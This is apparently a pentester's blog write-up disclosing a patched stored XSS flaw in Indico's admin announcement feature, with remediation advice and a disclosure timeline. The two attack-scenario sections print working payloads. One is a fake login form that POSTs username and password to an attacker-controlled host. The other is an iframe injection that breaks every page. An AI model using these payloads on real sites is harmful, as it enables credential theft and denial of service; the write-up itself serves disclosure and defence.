Over 10 years we help companies reach their financial and branding goals. Engitech is a values-driven technology agency dedicated.



411 University St, Seattle, USA


+1 -800-456-478-23

Web Application Security Testing
stored xss

Web Administration Gone Wrong: How User Passwords Can be Compromised


According to this paper, %65 of web applications suffer from cross-site scripting vulnerabilities. I am going to explain the Stored Cross-Site Scripting (XSS) vulnerability I found in an open-source project in this article.

The main causes of stored cross-site scripting (stored XSS) vulnerabilities in web applications are neglect to implement security measures at the application’s endpoints and inadequate security measures that can be bypassed. The first cause, overlook to implement security measures at the application’s endpoints, is the case in the Indico open-source web application for one specific endpoint. Before talking about Indico and the emergence of the vulnerability, it is useful to understand what a Stored Cross-Site Scripting vulnerability is.

Cross-Site Scripting (XSS)

Stored cross-site scripting (stored XSS) is a type of web application vulnerability that allows an attacker to inject malicious code into a web page viewed by other users. The attacker can exploit a lack of proper input validation and sanitization before storing user input in a database and after displaying it to the user.

What have I found?

Recently, I discovered a Stored XSS vulnerability in an open-source project Indico. I have found the Stored XSS vulnerability during web application penetration testing, a process used to identify and exploit vulnerabilities in web applications.

I found this vulnerability in a specific feature of the application that allowed administrators to submit announcements that appear on all pages of the application. The application was not properly validating and sanitizing user input before it was displayed on the web page. This could allow an administrator to inject malicious code, such as JavaScript or iframe, into announcements. The announcements are displayed on all pages of the application therefore, the malicious code would be executed by all users who visit any application page.

Exploring the Attack Surface

The application is not vulnerable to stealing users’ cookies because the session cookie has the ‘HttpOnly’ flag set as in the image below. This prevents the cookie to be fetched via JavaScript and therefore stealing with XSS.

HttpOnly Flag Set

If you want to check if your web application uses session cookies with the security flag, follow these steps:

In the first step click three dots in the upper-left corner.

google chrome settings

After that click the ‘More Tools’ option in the drop-down menu and the ‘Developers Tools’ option after that.

browser developer tools

Finally, click the ‘Application’ option in the developer’s tools and click ‘Cookies’ in the down-left corner. After that, you will see if the ‘HttpOnly’, ‘Secure’, and ‘SameSite’ flags are set for session cookies or not.

cookie flags

First Attack Scenario – Stealing User’s Username and Passwords

One interesting attack scenario involving this vulnerability is the stealing of a user’s password. An attacker could inject JavaScript in announcements disguised as a login form to steal the user’s password upon viewing the comment. Let’s dive into this attack scenario deeper!

xss stealing users passwords diagram

An attacker will need an administrator user and a web server with access to the log or use services that log requests and responses such as Burp Suite Collaborator or RequestBin.com. I am using Burp Suite Collaborator as a demonstration.

1.1. After logging in as an administrator and navigating to the ‘Announcement’ part in the administrator panel, the attacker enters the following payload with my Burp Collaborator Address to the ‘Message’ field.

XSS password steal payload

The Payload That Steals Username and Password via Stored XSS

Understand the devastating consequences of a malicious payload and see for yourself how an attacker can obtain sensitive information, such as usernames and passwords. In this section, we’ll delve into the inner workings of the exploit code.

<input name=username id=username> <input type=password name=password onchange="if(this.value.length)fetch('https://<ATTACKER-CONTROLLED-SERVER>',{ method:'POST', mode: 'no-cors', body:username.value+':'+this.value });">

Payloads Description

The payload is designed to steal the victim’s username and password by sending their credentials to a remote server controlled by the attacker.

Stored Cross-Site Scripting  payload

The payload consists of two input fields: a username field and a password field.

The first input field, “<input name=username id=username>”, creates a blank box text field where the user can enter their username.

<input name=username id=username>

The second input field, “<input type=password name=password onchange=”if(this.value.length)fetch(‘https://<ATTACKER-CONTROLLED-SERVER>’,{ method:’POST’, mode: ‘no-cors’, body:username.value+’:’+this.value });”>” creates a password field where the user can enter their password. It also contains an “onchange” event that is triggered when the user types in the password field and then moves to the next field or press enter.

<input type=password name=password onchange="if(this.value.length)fetch('https://<ATTACKER-CONTROLLED-SERVER>',{ method:'POST', mode: 'no-cors', body:username.value+':'+this.value });">

The “onchange” event triggers a JavaScript function, “fetch()”, which sends a request to a remote server controlled by the attacker. The “fetch()” function has several parameters and where all magic happens:

The “fetch()” Function

The first parameter is the URL of the attacker-controlled server, which is specified in this payload as “https://<ATTACKER-CONTROLLED-SERVER>”. I replaced this placeholder with my actual Burp Collaborator server’s URL.

The second parameter is an object that specifies the type of request and some additional options. In this case, the request is a “POST” request.

The third parameter is the “body” of the request, which is the concatenation of the values of the “username” and “password” fields, separated by a colon. The fetch function will send the concatenation of the two fields to the Burp Collaborator server. We can see it in image 1.5. down below.

It’s important to note that this payload is only an example and actual payloads can be much more complex such as creating an overlay with the login panel covering the rest of the application completely or using different techniques to achieve the same goal.

1.3. After the attacker clicks enable and saves the announcement message, a fake login panel pops up on every page for every logged-in user.

executed XSS payload

1.4. When another user logs in to the application the fake login panel presents on their page:

victim enters credentials

1.5. Once the victim user fills in the fake login panel, the attacker sees their username and password in the Burp Collaborator Client as a request:

attacker receives victims credentials

Second Attack Scenario – Crashing the Application

Another possible attack scenario involving this vulnerability is merging it with a cross-frame injection vulnerability to make the application unavailable. By injecting malicious code into a comment that would redirect the user to a different website or preventing other components from loading to the page, an attacker could make the application unavailable to users. Let’s dive into this attack scenario deeper when we are already here!

2.1. For the second attack an attacker logs in as an administrator and navigates to the ‘Announcement’ part in the Administrator panel and enters the following iframe payload like the previous attack:

iframe crashing payload

Iframe payload for crashing applications availability:

"><iframe onx=() onload=(alert)(6)>


Don’t replicate it on your production Indico instance. If you follow these steps with me, in this part, you might want to save the request. Otherwise, your application will be crashed, and you will need to reset it to zero data to use it again. If you save the request, you can change the message field without using the user interface. I have found the following request in the request history and used it to restore the application as you can see in the following screenshot.

iframe payload restore request

With this request, I have changed the ‘Announcement’ to ‘asd’ and all pages in the application restored.

Example request if you need. Change the session cookie, CSRF token, and host values for usage:

POST /admin/announcement HTTP/1.1
Content-Length: 105
Cache-Control: max-age=0
sec-ch-ua: “Not?A_Brand”;v=”8″, “Chromium”;v=”108″
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: “macOS”
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document R
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: indico_session_http=6f6e01f7-27dd-44cf-a994-aa362ae140e3
Connection: close  


2.2. In the last part of the attack, the attacker clicks the ‘Enable’ button and saves the changes:

iframe payload saving and enabling

2.3. After the attacker saves it, the iframe payload loads on every page for every user. Also, the payload will prevent any other page content from loading as you can see below. Good luck to other users and admins for using the application ☺

crashed application

2.4. As you can see in the image below, the attacker’s iframe payload is treated like an HTML element and reflects on the homepage too, like every other page in the application.

iframe payload in response

Remediation Recommendations

To remediate the stored cross-site scripting (stored XSS) vulnerabilities that are like what I found in the open-source project Indico, there are several steps that can be taken to prevent similar attacks from occurring in the future.

Input validation and sanitization

One of the most important steps in preventing stored XSS attacks is to properly validate and sanitize user input in the front-end before presenting it to the user. Input validation and sanitization on the presentation layer is a technique used to prevent Cross-Site Scripting (XSS) attacks by checking and transforming user input before it is displayed on the web page. Input validation checks user inputs to ensure they match the expected format and type of data, such as checking that an email address has the correct format, or a reflected user input contains only expected characters.

Use of a framework with built-in XSS protection

Using a web framework that already has protection against XSS attacks can help prevent vulnerabilities in the application. For example, Indico, which is primarily written in Python and uses the Flask framework, can take advantage of the built-in security modules provided by the Flask framework to protect against vulnerabilities such as stored XSS.

Use HTTP Headers

  • X-XSS-Protection: This header is used by modern web browsers to enable or disable the built-in XSS filtering. It can be set to the value ‘1; mode=block’ to enable the filtering, or ‘0’ to disable it.
  • X-Content-Type-Options: This header helps prevent certain types of XSS attacks by preventing the browser from interpreting files as a different MIME type than the one specified by the server. The value of this header should be set to nosniff.
  • Content-Security-Policy (CSP): This header allows a web application to specify which sources of content are allowed to be loaded by the browser. It provides a way to enforce a whitelist of trusted sources and can help prevent XSS attacks by blocking untrusted sources. For example, a CSP header might look like this:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-domain.com; object-src 'none'
  • Strict-Transport-Security (HSTS): This header helps prevent SSL-stripping attacks, which can be used to facilitate XSS attacks. By setting this header, a web application can specify that it should only be accessed over a secure, encrypted connection.

Use HttpOnly and Secure Cookie Flags

Cookie flags are an important aspect of securing cookies from Cross-Site Scripting (XSS) attacks. Cookie flags are attributes that can be set on cookies when they are sent from the server to the client. They define the behavior of the cookie and can help prevent XSS attacks by limiting the scope of the cookie and making it more secure.

  • The HttpOnly flag can be set on a cookie to prevent JavaScript from accessing its content.
  • The Secure flag ensures that the cookie is only sent over encrypted connections (HTTPS), which helps to prevent eavesdropping and tampering by attackers.
  • Another flag, SameSite, can be used to prevent the cookie from being sent with cross-site requests.

These flags help to make cookies more secure and can play an important role in preventing XSS attacks.

Remediations Summary

It’s important to keep in mind that preventing stored XSS vulnerabilities requires a multi-layered approach, involving a combination of technical and procedural measures. By taking these steps, administrators and developers can help prevent stored XSS attacks and protect the application and its users from potential harm.


Inconclusion, stored XSS is a web application vulnerability that can have serious consequences for both users and application owners. In this article, we explored specific scenarios such as where an administrator of a web application could exploit a stored XSS vulnerability to steal users’ passwords. It is important to always validate and sanitize user input, and implement XSS protection measures. To prevent this type of attack, web application penetration testing can help identify vulnerabilities like stored XSS and should be considered a crucial part of any web application security strategy. After thorough discussions and evaluations, the Indico security board has decided not to request a CVE for the identified vulnerability, as it is determined that exploitation of this vulnerability requires highly privileged access.


  • 2023-01-19 I have reported the vulnerability to Indico.
  • 2023-01-27 Indico security team responded and closed the vulnerability with this patch.


  1. https://www.researchgate.net/figure/Percentage-probability-of-websites-vulnerable-by-different-class-of-cyber-vulnerabilities_fig1_279869021
  2. https://portswigger.net/web-security/cross-site-scripting/exploiting
  3. https://github.com/indico/indico/pull/5640

web application penetration tests information

Is this article helpful to you? Share it with your friends.


Ulaş Deniz İlhan